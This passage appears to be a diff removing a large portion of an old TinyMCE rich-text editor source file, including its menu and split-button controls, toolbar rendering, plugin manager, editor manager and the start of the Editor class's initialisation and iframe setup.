s); - - this.onRenderMenu = new tinymce.util.Dispatcher(this); - - s.menu_container = s.menu_container || DOM.doc.body; - }, - - showMenu : function() { - var t = this, p1, p2, e = DOM.get(t.id), m; - - if (t.isDisabled()) - return; - - if (!t.isMenuRendered) { - t.renderMenu(); - t.isMenuRendered = true; - } - - if (t.isMenuVisible) - return t.hideMenu(); - - p1 = DOM.getPos(t.settings.menu_container); - p2 = DOM.getPos(e); - - m = t.menu; - m.settings.offset_x = p2.x; - m.settings.offset_y = p2.y; - m.settings.vp_offset_x = p2.x; - m.settings.vp_offset_y = p2.y; - m.settings.keyboard_focus = t._focused; - m.showMenu(0, e.clientHeight); - - Event.add(DOM.doc, 'mousedown', t.hideMenu, t); - t.setState('Selected', 1); - - t.isMenuVisible = 1; - }, - - renderMenu : function() { - var t = this, m; - - m = t.settings.control_manager.createDropMenu(t.id + '_menu', { - menu_line : 1, - 'class' : this.classPrefix + 'Menu', - icons : t.settings.icons - }); - - m.onHideMenu.add(t.hideMenu, t); - - t.onRenderMenu.dispatch(t, m); - t.menu = m; - }, - - hideMenu : function(e) { - var t = this; - - // Prevent double toogles by canceling the mouse click event to the button - if (e && e.type == "mousedown" && DOM.getParent(e.target, function(e) {return e.id === t.id || e.id === t.id + '_open';})) - return; - - if (!e || !DOM.getParent(e.target, '.mceMenu')) { - t.setState('Selected', 0); - Event.remove(DOM.doc, 'mousedown', t.hideMenu, t); - if (t.menu) - t.menu.hideMenu(); - } - - t.isMenuVisible = 0; - }, - - postRender : function() { - var t = this, s = t.settings; - - Event.add(t.id, 'click', function() { - if (!t.isDisabled()) { - if (s.onclick) - s.onclick(t.value); - - t.showMenu(); - } - }); - } - }); -})(tinymce); - -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each; - - tinymce.create('tinymce.ui.SplitButton:tinymce.ui.MenuButton', { - SplitButton : function(id, s) { - this.parent(id, s); - this.classPrefix = 'mceSplitButton'; - }, - - renderHTML : function() { - var h, t = this, s = t.settings, h1; - - h = '<tbody><tr>'; - - if (s.image) - h1 = DOM.createHTML('img ', {src : s.image, 'class' : 'mceAction ' + s['class']}); - else - h1 = DOM.createHTML('span', {'class' : 'mceAction ' + s['class']}, ''); - - h += '<td>' + DOM.createHTML('a', {id : t.id + '_action', href : 'javascript:;', 'class' : 'mceAction ' + s['class'], onclick : "return false;", onmousedown : 'return false;', title : s.title}, h1) + '</td>'; - - h1 = DOM.createHTML('span', {'class' : 'mceOpen ' + s['class']}); - h += '<td>' + DOM.createHTML('a', {id : t.id + '_open', href : 'javascript:;', 'class' : 'mceOpen ' + s['class'], onclick : "return false;", onmousedown : 'return false;', title : s.title}, h1) + '</td>'; - - h += '</tr></tbody>'; - - return DOM.createHTML('table', {id : t.id, 'class' : 'mceSplitButton mceSplitButtonEnabled ' + s['class'], cellpadding : '0', cellspacing : '0', onmousedown : 'return false;', title : s.title}, h); - }, - - postRender : function() { - var t = this, s = t.settings; - - if (s.onclick) { - Event.add(t.id + '_action', 'click', function() { - if (!t.isDisabled()) - s.onclick(t.value); - }); - } - - Event.add(t.id + '_open', 'click', t.showMenu, t); - Event.add(t.id + '_open', 'focus', function() {t._focused = 1;}); - Event.add(t.id + '_open', 'blur', function() {t._focused = 0;}); - - // Old IE doesn't have hover on all elements - if (tinymce.isIE6 || !DOM.boxModel) { - Event.add(t.id, 'mouseover', function() { - if (!DOM.hasClass(t.id, 'mceSplitButtonDisabled')) - DOM.addClass(t.id, 'mceSplitButtonHover'); - }); - - Event.add(t.id, 'mouseout', function() { - if (!DOM.hasClass(t.id, 'mceSplitButtonDisabled')) - DOM.removeClass(t.id, 'mceSplitButtonHover'); - }); - } - }, - - destroy : function() { - this.parent(); - - Event.clear(this.id + '_action'); - Event.clear(this.id + '_open'); - } - }); -})(tinymce); - -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, is = tinymce.is, each = tinymce.each; - - tinymce.create('tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton', { - ColorSplitButton : function(id, s) { - var t = this; - - t.parent(id, s); - - t.settings = s = tinymce.extend({ - colors : '000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF', - grid_width : 8, - default_color : '#888888' - }, t.settings); - - t.onShowMenu = new tinymce.util.Dispatcher(t); - - t.onHideMenu = new tinymce.util.Dispatcher(t); - - t.value = s.default_color; - }, - - showMenu : function() { - var t = this, r, p, e, p2; - - if (t.isDisabled()) - return; - - if (!t.isMenuRendered) { - t.renderMenu(); - t.isMenuRendered = true; - } - - if (t.isMenuVisible) - return t.hideMenu(); - - e = DOM.get(t.id); - DOM.show(t.id + '_menu'); - DOM.addClass(e, 'mceSplitButtonSelected'); - p2 = DOM.getPos(e); - DOM.setStyles(t.id + '_menu', { - left : p2.x, - top : p2.y + e.clientHeight, - zIndex : 200000 - }); - e = 0; - - Event.add(DOM.doc, 'mousedown', t.hideMenu, t); - t.onShowMenu.dispatch(t); - - if (t._focused) { - t._keyHandler = Event.add(t.id + '_menu', 'keydown', function(e) { - if (e.keyCode == 27) - t.hideMenu(); - }); - - DOM.select('a', t.id + '_menu')[0].focus(); // Select first link - } - - t.isMenuVisible = 1; - }, - - hideMenu : function(e) { - var t = this; - - // Prevent double toogles by canceling the mouse click event to the button - if (e && e.type == "mousedown" && DOM.getParent(e.target, function(e) {return e.id === t.id + '_open';})) - return; - - if (!e || !DOM.getParent(e.target, '.mceSplitButtonMenu')) { - DOM.removeClass(t.id, 'mceSplitButtonSelected'); - Event.remove(DOM.doc, 'mousedown', t.hideMenu, t); - Event.remove(t.id + '_menu', 'keydown', t._keyHandler); - DOM.hide(t.id + '_menu'); - } - - t.onHideMenu.dispatch(t); - - t.isMenuVisible = 0; - }, - - renderMenu : function() { - var t = this, m, i = 0, s = t.settings, n, tb, tr, w; - - w = DOM.add(s.menu_container, 'div', {id : t.id + '_menu', 'class' : s['menu_class'] + ' ' + s['class'], style : 'position:absolute;left:0;top:-1000px;'}); - m = DOM.add(w, 'div', {'class' : s['class'] + ' mceSplitButtonMenu'}); - DOM.add(m, 'span', {'class' : 'mceMenuLine'}); - - n = DOM.add(m, 'table', {'class' : 'mceColorSplitMenu'}); - tb = DOM.add(n, 'tbody'); - - // Generate color grid - i = 0; - each(is(s.colors, 'array') ? s.colors : s.colors.split(','), function(c) { - c = c.replace(/^#/, ''); - - if (!i--) { - tr = DOM.add(tb, 'tr'); - i = s.grid_width - 1; - } - - n = DOM.add(tr, 'td'); - - n = DOM.add(n, 'a', { - href : 'javascript:;', - style : { - backgroundColor : '#' + c - }, - _mce_color : '#' + c - }); - }); - - if (s.more_colors_func) { - n = DOM.add(tb, 'tr'); - n = DOM.add(n, 'td', {colspan : s.grid_width, 'class' : 'mceMoreColors'}); - n = DOM.add(n, 'a', {id : t.id + '_more', href : 'javascript:;', onclick : 'return false;', 'class' : 'mceMoreColors'}, s.more_colors_title); - - Event.add(n, 'click', function(e) { - s.more_colors_func.call(s.more_colors_scope || this); - return Event.cancel(e); // Cancel to fix onbeforeunload problem - }); - } - - DOM.addClass(m, 'mceColorSplitMenu'); - - Event.add(t.id + '_menu', 'click', function(e) { - var c; - - e = e.target; - - if (e.nodeName == 'A' && (c = e.getAttribute('_mce_color'))) - t.setColor(c); - - return Event.cancel(e); // Prevent IE auto save warning - }); - - return w; - }, - - setColor : function(c) { - var t = this; - - DOM.setStyle(t.id + '_preview', 'backgroundColor', c); - - t.value = c; - t.hideMenu(); - t.settings.onselect(c); - }, - - postRender : function() { - var t = this, id = t.id; - - t.parent(); - DOM.add(id + '_action', 'div', {id : id + '_preview', 'class' : 'mceColorPreview'}); - DOM.setStyle(t.id + '_preview', 'backgroundColor', t.value); - }, - - destroy : function() { - this.parent(); - - Event.clear(this.id + '_menu'); - Event.clear(this.id + '_more'); - DOM.remove(this.id + '_menu'); - } - }); -})(tinymce); - -tinymce.create('tinymce.ui.Toolbar:tinymce.ui.Container', { - renderHTML : function() { - var t = this, h = '', c, co, dom = tinymce.DOM, s = t.settings, i, pr, nx, cl; - - cl = t.controls; - for (i=0; i<cl.length; i++) { - // Get current control, prev control, next control and if the control is a list box or not - co = cl[i]; - pr = cl[i - 1]; - nx = cl[i + 1]; - - // Add toolbar start - if (i === 0) { - c = 'mceToolbarStart'; - - if (co.Button) - c += ' mceToolbarStartButton'; - else if (co.SplitButton) - c += ' mceToolbarStartSplitButton'; - else if (co.ListBox) - c += ' mceToolbarStartListBox'; - - h += dom.createHTML('td', {'class' : c}, dom.createHTML('span', null, '<!-- IE -->')); - } - - // Add toolbar end before list box and after the previous button - // This is to fix the o2k7 editor skins - if (pr && co.ListBox) { - if (pr.Button || pr.SplitButton) - h += dom.createHTML('td', {'class' : 'mceToolbarEnd'}, dom.createHTML('span', null, '<!-- IE -->')); - } - - // Render control HTML - - // IE 8 quick fix, needed to propertly generate a hit area for anchors - if (dom.stdMode) - h += '<td style="position: relative">' + co.renderHTML() + '</td>'; - else - h += '<td>' + co.renderHTML() + '</td>'; - - // Add toolbar start after list box and before the next button - // This is to fix the o2k7 editor skins - if (nx && co.ListBox) { - if (nx.Button || nx.SplitButton) - h += dom.createHTML('td', {'class' : 'mceToolbarStart'}, dom.createHTML('span', null, '<!-- IE -->')); - } - } - - c = 'mceToolbarEnd'; - - if (co.Button) - c += ' mceToolbarEndButton'; - else if (co.SplitButton) - c += ' mceToolbarEndSplitButton'; - else if (co.ListBox) - c += ' mceToolbarEndListBox'; - - h += dom.createHTML('td', {'class' : c}, dom.createHTML('span', null, '<!-- IE -->')); - - return dom.createHTML('table', {id : t.id, 'class' : 'mceToolbar' + (s['class'] ? ' ' + s['class'] : ''), cellpadding : '0', cellspacing : '0', align : t.settings.align || ''}, '<tbody><tr>' + h + '</tr></tbody>'); - } -}); - -(function(tinymce) { - var Dispatcher = tinymce.util.Dispatcher, each = tinymce.each; - - tinymce.create('tinymce.AddOnManager', { - items : [], - urls : {}, - lookup : {}, - - onAdd : new Dispatcher(this), - - get : function(n) { - return this.lookup[n]; - }, - - requireLangPack : function(n) { - var s = tinymce.settings; - - if (s && s.language) - tinymce.ScriptLoader.add(this.urls[n] + '/langs/' + s.language + '.js'); - }, - - add : function(id, o) { - this.items.push(o); - this.lookup[id] = o; - this.onAdd.dispatch(this, id, o); - - return o; - }, - - load : function(n, u, cb, s) { - var t = this; - - if (t.urls[n]) - return; - - if (u.indexOf('/') != 0 && u.indexOf('://') == -1) - u = tinymce.baseURL + '/' + u; - - t.urls[n] = u.substring(0, u.lastIndexOf('/')); - tinymce.ScriptLoader.add(u, cb, s); - } - }); - - // Create plugin and theme managers - tinymce.PluginManager = new tinymce.AddOnManager(); - tinymce.ThemeManager = new tinymce.AddOnManager(); -}(tinymce)); - -(function(tinymce) { - // Shorten names - var each = tinymce.each, extend = tinymce.extend, - DOM = tinymce.DOM, Event = tinymce.dom.Event, - ThemeManager = tinymce.ThemeManager, PluginManager = tinymce.PluginManager, - explode = tinymce.explode, - Dispatcher = tinymce.util.Dispatcher, undefined, instanceCounter = 0; - - // Setup some URLs where the editor API is located and where the document is - tinymce.documentBaseURL = window.location.href.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, ''); - if (!/[\/\\]$/.test(tinymce.documentBaseURL)) - tinymce.documentBaseURL += '/'; - - tinymce.baseURL = new tinymce.util.URI(tinymce.documentBaseURL).toAbsolute(tinymce.baseURL); - - tinymce.baseURI = new tinymce.util.URI(tinymce.baseURL); - - // Add before unload listener - // This was required since IE was leaking memory if you added and removed beforeunload listeners - // with attachEvent/detatchEvent so this only adds one listener and instances can the attach to the onBeforeUnload event - tinymce.onBeforeUnload = new Dispatcher(tinymce); - - // Must be on window or IE will leak if the editor is placed in frame or iframe - Event.add(window, 'beforeunload', function(e) { - tinymce.onBeforeUnload.dispatch(tinymce, e); - }); - - tinymce.onAddEditor = new Dispatcher(tinymce); - - tinymce.onRemoveEditor = new Dispatcher(tinymce); - - tinymce.EditorManager = extend(tinymce, { - editors : [], - - i18n : {}, - - activeEditor : null, - - init : function(s) { - var t = this, pl, sl = tinymce.ScriptLoader, e, el = [], ed; - - function execCallback(se, n, s) { - var f = se[n]; - - if (!f) - return; - - if (tinymce.is(f, 'string')) { - s = f.replace(/\.\w+$/, ''); - s = s ? tinymce.resolve(s) : 0; - f = tinymce.resolve(f); - } - - return f.apply(s || this, Array.prototype.slice.call(arguments, 2)); - }; - - s = extend({ - theme : "simple", - language : "en" - }, s); - - t.settings = s; - - // Legacy call - Event.add(document, 'init', function() { - var l, co; - - execCallback(s, 'onpageload'); - - switch (s.mode) { - case "exact": - l = s.elements || ''; - - if(l.length > 0) { - each(explode(l), function(v) { - if (DOM.get(v)) { - ed = new tinymce.Editor(v, s); - el.push(ed); - ed.render(1); - } else { - each(document.forms, function(f) { - each(f.elements, function(e) { - if (e.name === v) { - v = 'mce_editor_' + instanceCounter++; - DOM.setAttrib(e, 'id', v); - - ed = new tinymce.Editor(v, s); - el.push(ed); - ed.render(1); - } - }); - }); - } - }); - } - break; - - case "textareas": - case "specific_textareas": - function hasClass(n, c) { - return c.constructor === RegExp ? c.test(n.className) : DOM.hasClass(n, c); - }; - - each(DOM.select('textarea'), function(v) { - if (s.editor_deselector && hasClass(v, s.editor_deselector)) - return; - - if (!s.editor_selector || hasClass(v, s.editor_selector)) { - // Can we use the name - e = DOM.get(v.name); - if (!v.id && !e) - v.id = v.name; - - // Generate unique name if missing or already exists - if (!v.id || t.get(v.id)) - v.id = DOM.uniqueId(); - - ed = new tinymce.Editor(v.id, s); - el.push(ed); - ed.render(1); - } - }); - break; - } - - // Call onInit when all editors are initialized - if (s.oninit) { - l = co = 0; - - each(el, function(ed) { - co++; - - if (!ed.initialized) { - // Wait for it - ed.onInit.add(function() { - l++; - - // All done - if (l == co) - execCallback(s, 'oninit'); - }); - } else - l++; - - // All done - if (l == co) - execCallback(s, 'oninit'); - }); - } - }); - }, - - get : function(id) { - if (id === undefined) - return this.editors; - - return this.editors[id]; - }, - - getInstanceById : function(id) { - return this.get(id); - }, - - add : function(editor) { - var self = this, editors = self.editors; - - // Add named and index editor instance - editors[editor.id] = editor; - editors.push(editor); - - self._setActive(editor); - self.onAddEditor.dispatch(self, editor); - - - return editor; - }, - - remove : function(editor) { - var t = this, i, editors = t.editors; - - // Not in the collection - if (!editors[editor.id]) - return null; - - delete editors[editor.id]; - - for (i = 0; i < editors.length; i++) { - if (editors[i] == editor) { - editors.splice(i, 1); - break; - } - } - - // Select another editor since the active one was removed - if (t.activeEditor == editor) - t._setActive(editors[0]); - - editor.destroy(); - t.onRemoveEditor.dispatch(t, editor); - - return editor; - }, - - execCommand : function(c, u, v) { - var t = this, ed = t.get(v), w; - - // Manager commands - switch (c) { - case "mceFocus": - ed.focus(); - return true; - - case "mceAddEditor": - case "mceAddControl": - if (!t.get(v)) - new tinymce.Editor(v, t.settings).render(); - - return true; - - case "mceAddFrameControl": - w = v.window; - - // Add tinyMCE global instance and tinymce namespace to specified window - w.tinyMCE = tinyMCE; - w.tinymce = tinymce; - - tinymce.DOM.doc = w.document; - tinymce.DOM.win = w; - - ed = new tinymce.Editor(v.element_id, v); - ed.render(); - - // Fix IE memory leaks - if (tinymce.isIE) { - function clr() { - ed.destroy(); - w.detachEvent('onunload', clr); - w = w.tinyMCE = w.tinymce = null; // IE leak - }; - - w.attachEvent('onunload', clr); - } - - v.page_window = null; - - return true; - - case "mceRemoveEditor": - case "mceRemoveControl": - if (ed) - ed.remove(); - - return true; - - case 'mceToggleEditor': - if (!ed) { - t.execCommand('mceAddControl', 0, v); - return true; - } - - if (ed.isHidden()) - ed.show(); - else - ed.hide(); - - return true; - } - - // Run command on active editor - if (t.activeEditor) - return t.activeEditor.execCommand(c, u, v); - - return false; - }, - - execInstanceCommand : function(id, c, u, v) { - var ed = this.get(id); - - if (ed) - return ed.execCommand(c, u, v); - - return false; - }, - - triggerSave : function() { - each(this.editors, function(e) { - e.save(); - }); - }, - - addI18n : function(p, o) { - var lo, i18n = this.i18n; - - if (!tinymce.is(p, 'string')) { - each(p, function(o, lc) { - each(o, function(o, g) { - each(o, function(o, k) { - if (g === 'common') - i18n[lc + '.' + k] = o; - else - i18n[lc + '.' + g + '.' + k] = o; - }); - }); - }); - } else { - each(o, function(o, k) { - i18n[p + '.' + k] = o; - }); - } - }, - - // Private methods - - _setActive : function(editor) { - this.selectedInstance = this.activeEditor = editor; - } - }); -})(tinymce); - -(function(tinymce) { - // Shorten these names - var DOM = tinymce.DOM, Event = tinymce.dom.Event, extend = tinymce.extend, - Dispatcher = tinymce.util.Dispatcher, each = tinymce.each, isGecko = tinymce.isGecko, - isIE = tinymce.isIE, isWebKit = tinymce.isWebKit, is = tinymce.is, - ThemeManager = tinymce.ThemeManager, PluginManager = tinymce.PluginManager, - inArray = tinymce.inArray, grep = tinymce.grep, explode = tinymce.explode; - - tinymce.create('tinymce.Editor', { - Editor : function(id, s) { - var t = this; - - t.id = t.editorId = id; - - t.execCommands = {}; - t.queryStateCommands = {}; - t.queryValueCommands = {}; - - t.isNotDirty = false; - - t.plugins = {}; - - // Add events to the editor - each([ - 'onPreInit', - - 'onBeforeRenderUI', - - 'onPostRender', - - 'onInit', - - 'onRemove', - - 'onActivate', - - 'onDeactivate', - - 'onClick', - - 'onEvent', - - 'onMouseUp', - - 'onMouseDown', - - 'onDblClick', - - 'onKeyDown', - - 'onKeyUp', - - 'onKeyPress', - - 'onContextMenu', - - 'onSubmit', - - 'onReset', - - 'onPaste', - - 'onPreProcess', - - 'onPostProcess', - - 'onBeforeSetContent', - - 'onBeforeGetContent', - - 'onSetContent', - - 'onGetContent', - - 'onLoadContent', - - 'onSaveContent', - - 'onNodeChange', - - 'onChange', - - 'onBeforeExecCommand', - - 'onExecCommand', - - 'onUndo', - - 'onRedo', - - 'onVisualAid', - - 'onSetProgressState' - ], function(e) { - t[e] = new Dispatcher(t); - }); - - t.settings = s = extend({ - id : id, - language : 'en', - docs_language : 'en', - theme : 'simple', - skin : 'default', - delta_width : 0, - delta_height : 0, - popup_css : '', - plugins : '', - document_base_url : tinymce.documentBaseURL, - add_form_submit_trigger : 1, - submit_patch : 1, - add_unload_trigger : 1, - convert_urls : 1, - relative_urls : 1, - remove_script_host : 1, - table_inline_editing : 0, - object_resizing : 1, - cleanup : 1, - accessibility_focus : 1, - custom_shortcuts : 1, - custom_undo_redo_keyboard_shortcuts : 1, - custom_undo_redo_restore_selection : 1, - custom_undo_redo : 1, - doctype : tinymce.isIE6 ? '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' : '<!DOCTYPE>', // Use old doctype on IE 6 to avoid horizontal scroll - visual_table_class : 'mceItemTable', - visual : 1, - font_size_style_values : 'xx-small,x-small,small,medium,large,x-large,xx-large', - apply_source_formatting : 1, - directionality : 'ltr', - forced_root_block : 'p', - valid_elements : '@[id|class|style|title|dir<ltr?rtl|lang|xml::lang|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup],a[rel|rev|charset|hreflang|tabindex|accesskey|type|name|href|target|title|class|onfocus|onblur],strong/b,em/i,strike,u,#p,-ol[type|compact],-ul[type|compact],-li,br,img[longdesc|usemap|src|border|alt=|title|hspace|vspace|width|height|align],-sub,-sup,-blockquote[cite],-table[border|cellspacing|cellpadding|width|frame|rules|height|align|summary|bgcolor|background|bordercolor],-tr[rowspan|width|height|align|valign|bgcolor|background|bordercolor],tbody,thead,tfoot,#td[colspan|rowspan|width|height|align|valign|bgcolor|background|bordercolor|scope],#th[colspan|rowspan|width|height|align|valign|scope],caption,-div,-span,-code,-pre,address,-h1,-h2,-h3,-h4,-h5,-h6,hr[size|noshade],-font[face|size|color],dd,dl,dt,cite,abbr,acronym,del[datetime|cite],ins[datetime|cite],object[classid|width|height|codebase|*],param[name|value],embed[type|width|height|src|*],script[src|type],map[name],area[shape|coords|href|alt|target],bdo,button,col[align|char|charoff|span|valign|width],colgroup[align|char|charoff|span|valign|width],dfn,fieldset,form[action|accept|accept-charset|enctype|method],input[accept|alt|checked|disabled|maxlength|name|readonly|size|src|type|value|tabindex|accesskey],kbd,label[for],legend,noscript,optgroup[label|disabled],option[disabled|label|selected|value],q[cite],samp,select[disabled|multiple|name|size],small,textarea[cols|rows|disabled|name|readonly],tt,var,big', - hidden_input : 1, - padd_empty_editor : 1, - render_ui : 1, - init_theme : 1, - force_p_newlines : 1, - indentation : '30px', - keep_styles : 1, - fix_table_elements : 1, - inline_styles : 1, - convert_fonts_to_spans : true - }, s); - - t.documentBaseURI = new tinymce.util.URI(s.document_base_url || tinymce.documentBaseURL, { - base_uri : tinyMCE.baseURI - }); - - t.baseURI = tinymce.baseURI; - - // Call setup - t.execCallback('setup', t); - }, - - render : function(nst) { - var t = this, s = t.settings, id = t.id, sl = tinymce.ScriptLoader; - - // Page is not loaded yet, wait for it - if (!Event.domLoaded) { - Event.add(document, 'init', function() { - t.render(); - }); - return; - } - - tinyMCE.settings = s; - - // Element not found, then skip initialization - if (!t.getElement()) - return; - - // Is a iPad/iPhone, then skip initialization. We need to sniff here since the - // browser says it has contentEditable support but there is no visible caret - // We will remove this check ones Apple implements full contentEditable support - if (tinymce.isIDevice) - return; - - // Add hidden input for non input elements inside form elements - if (!/TEXTAREA|INPUT/i.test(t.getElement().nodeName) && s.hidden_input && DOM.getParent(id, 'form')) - DOM.insertAfter(DOM.create('input', {type : 'hidden', name : id}), id); - - if (tinymce.WindowManager) - t.windowManager = new tinymce.WindowManager(t); - - if (s.encoding == 'xml') { - t.onGetContent.add(function(ed, o) { - if (o.save) - o.content = DOM.encode(o.content); - }); - } - - if (s.add_form_submit_trigger) { - t.onSubmit.addToTop(function() { - if (t.initialized) { - t.save(); - t.isNotDirty = 1; - } - }); - } - - if (s.add_unload_trigger) { - t._beforeUnload = tinyMCE.onBeforeUnload.add(function() { - if (t.initialized && !t.destroyed && !t.isHidden()) - t.save({format : 'raw', no_events : true}); - }); - } - - tinymce.addUnload(t.destroy, t); - - if (s.submit_patch) { - t.onBeforeRenderUI.add(function() { - var n = t.getElement().form; - - if (!n) - return; - - // Already patched - if (n._mceOldSubmit) - return; - - // Check page uses id="submit" or name="submit" for it's submit button - if (!n.submit.nodeType && !n.submit.length) { - t.formElement = n; - n._mceOldSubmit = n.submit; - n.submit = function() { - // Save all instances - tinymce.triggerSave(); - t.isNotDirty = 1; - - return t.formElement._mceOldSubmit(t.formElement); - }; - } - - n = null; - }); - } - - // Load scripts - function loadScripts() { - if (s.language) - sl.add(tinymce.baseURL + '/langs/' + s.language + '.js'); - - if (s.theme && s.theme.charAt(0) != '-' && !ThemeManager.urls[s.theme]) - ThemeManager.load(s.theme, 'themes/' + s.theme + '/editor_template' + tinymce.suffix + '.js'); - - each(explode(s.plugins), function(p) { - if (p && p.charAt(0) != '-' && !PluginManager.urls[p]) { - // Skip safari plugin, since it is removed as of 3.3b1 - if (p == 'safari') - return; - - PluginManager.load(p, 'plugins/' + p + '/editor_plugin' + tinymce.suffix + '.js'); - } - }); - - // Init when que is loaded - sl.loadQueue(function() { - if (!t.removed) - t.init(); - }); - }; - - loadScripts(); - }, - - init : function() { - var n, t = this, s = t.settings, w, h, e = t.getElement(), o, ti, u, bi, bc, re; - - tinymce.add(t); - - if (s.theme) { - s.theme = s.theme.replace(/-/, ''); - o = ThemeManager.get(s.theme); - t.theme = new o(); - - if (t.theme.init && s.init_theme) - t.theme.init(t, ThemeManager.urls[s.theme] || tinymce.documentBaseURL.replace(/\/$/, '')); - } - - // Create all plugins - each(explode(s.plugins.replace(/\-/g, '')), function(p) { - var c = PluginManager.get(p), u = PluginManager.urls[p] || tinymce.documentBaseURL.replace(/\/$/, ''), po; - - if (c) { - po = new c(t, u); - - t.plugins[p] = po; - - if (po.init) - po.init(t, u); - } - }); - - // Setup popup CSS path(s) - if (s.popup_css !== false) { - if (s.popup_css) - s.popup_css = t.documentBaseURI.toAbsolute(s.popup_css); - else - s.popup_css = t.baseURI.toAbsolute("themes/" + s.theme + "/skins/" + s.skin + "/dialog.css"); - } - - if (s.popup_css_add) - s.popup_css += ',' + t.documentBaseURI.toAbsolute(s.popup_css_add); - - t.controlManager = new tinymce.ControlManager(t); - - if (s.custom_undo_redo) { - // Add initial undo level - t.onBeforeExecCommand.add(function(ed, cmd, ui, val, a) { - if (cmd != 'Undo' && cmd != 'Redo' && cmd != 'mceRepaint' && (!a || !a.skip_undo)) { - if (!t.undoManager.hasUndo()) - t.undoManager.add(); - } - }); - - t.onExecCommand.add(function(ed, cmd, ui, val, a) { - if (cmd != 'Undo' && cmd != 'Redo' && cmd != 'mceRepaint' && (!a || !a.skip_undo)) - t.undoManager.add(); - }); - } - - t.onExecCommand.add(function(ed, c) { - // Don't refresh the select lists until caret move - if (!/^(FontName|FontSize)$/.test(c)) - t.nodeChanged(); - }); - - // Remove ghost selections on images and tables in Gecko - if (isGecko) { - function repaint(a, o) { - if (!o || !o.initial) - t.execCommand('mceRepaint'); - }; - - t.onUndo.add(repaint); - t.onRedo.add(repaint); - t.onSetContent.add(repaint); - } - - // Enables users to override the control factory - t.onBeforeRenderUI.dispatch(t, t.controlManager); - - // Measure box - if (s.render_ui) { - w = s.width || e.style.width || e.offsetWidth; - h = s.height || e.style.height || e.offsetHeight; - t.orgDisplay = e.style.display; - re = /^[0-9\.]+(|px)$/i; - - if (re.test('' + w)) - w = Math.max(parseInt(w) + (o.deltaWidth || 0), 100); - - if (re.test('' + h)) - h = Math.max(parseInt(h) + (o.deltaHeight || 0), 100); - - // Render UI - o = t.theme.renderUI({ - targetNode : e, - width : w, - height : h, - deltaWidth : s.delta_width, - deltaHeight : s.delta_height - }); - - t.editorContainer = o.editorContainer; - } - - - // User specified a document.domain value - if (document.domain && location.hostname != document.domain) - tinymce.relaxedDomain = document.domain; - - // Resize editor - DOM.setStyles(o.sizeContainer || o.editorContainer, { - width : w, - height : h - }); - - h = (o.iframeHeight || h) + (typeof(h) == 'number' ? (o.deltaHeight || 0) : ''); - if (h < 100) - h = 100; - - t.iframeHTML = s.doctype + '<html><head xmlns="http://www.w3.org/1999/xhtml">'; - - // We only need to override paths if we have to - // IE has a bug where it remove site absolute urls to relative ones if this is specified - if (s.document_base_url != tinymce.documentBaseURL) - t.iframeHTML += '<base href="' + t.documentBaseURI.getURI() + '" />'; - - t.iframeHTML += '<meta http-equiv="X-UA-Compatible" content="IE=7" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'; - - if (tinymce.relaxedDomain) - t.iframeHTML += '<script type="text/javascript">document.domain = "' + tinymce.relaxedDomain + '";</script>'; - - bi = s.body_id || 'tinymce'; - if (bi.indexOf('=') != -1) { - bi = t.getParam('body_id', '', 'hash'); - bi = bi[t.id] || bi; - } - - bc = s.body_class || ''; - if (bc.indexOf('=') != -1) { - bc = t.getParam('body_class', '', 'hash'); - bc = bc[t.id] || ''; - } - - t.iframeHTML += '</head><body id="' + bi + '" class="mceContentBody ' + bc + '"></body></html>'; - - // Domain relaxing enabled, then set document domain - if (tinymce.relaxedDomain) { - // We need to write the contents here in IE since multiple writes messes up refresh button and back button - if (isIE || (tinymce.isOpera && parseFloat(opera.version()) >= 9.5)) - u = 'javascript:(function(){document.open();document.domain="' + document.domain + '";var ed = window.parent.tinyMCE.get("' + t.id + '");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'; - else if (tinymce.isOpera) - u = 'javascript:(function(){document.open();document.domain="' + document.domain + '";document.close();ed.setupIframe();})()'; - } - - // Create iframe - n = DOM.add(o.iframeContainer, 'iframe', { - id : t.id + "_ifr", - src : u || 'javascript:""', // Workaround for HTTPS warning in IE6/7 - frameBorder : '0', - style : { - width : '100%', - height : h - } - }); - - t.contentAreaContainer = o.iframeContainer; - DOM.get(o.editorContainer).style.display = t.orgDisplay; - DOM.get(t.id).style.display = 'none'; - - if (!isIE || !tinymce.relaxedDomain) - t.setupIframe(); - - e = n = o = null; // Cleanup - }, - - setupIframe : function() { - var t = this, s = t.settings, e = DOM.get(t.id), d = t.getDoc(), h, b; - - // Setup iframe body - if (!isIE || !tinymce.relaxedDomain) { - d.open(); - d.write(t.iframeHTML); - d.close(); - } - - // Design mode needs to be added here Ctrl+A will fail otherwise - if (!isIE) { - try { - if (!s.readonly) - d.designMode = 'On'; - } catch (ex) { - // Will fail on Gecko if the editor is placed in an hidden container element - // The design mode will be set ones the editor is focused - } - } - - // IE needs to use contentEditable or it will display non secure items for HTTPS - if (isIE) { - // It will not steal focus if we hide it while setting contentEditable - b = t.getBody(); - DOM.hide(b); - - if (!s.readonly) - b.contentEditable = true; - - DOM.show(b); - } - - t.dom = new tinymce.dom.DOMUtils(t.getDoc(), { - keep_values : true, - url_converter : t.convertURL, - url_converter_scope : t, - hex_colors : s.force_hex_style_colors, - class_filter : s.class_filter, - update_styles : 1, - fix_ie_paragraphs : 1, - valid_styles : s.valid_styles - }); - - t.schema = new tinymce.dom.Schema(); - - t.serializer = new tinymce.dom.Serializer(extend(s, { - valid_elements : s.verify_html === false ? '*[*]' : s.valid_elements, - dom : t.dom, - schema : t.schema - })); - - t.selection = new tinymce.dom.Selection(t.dom, t.getWin(), t.serializer); - - t.formatter = new tinymce.Formatter(this); - - // Register default formats - t.formatter.register({ - alignleft : [ - {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li', styles 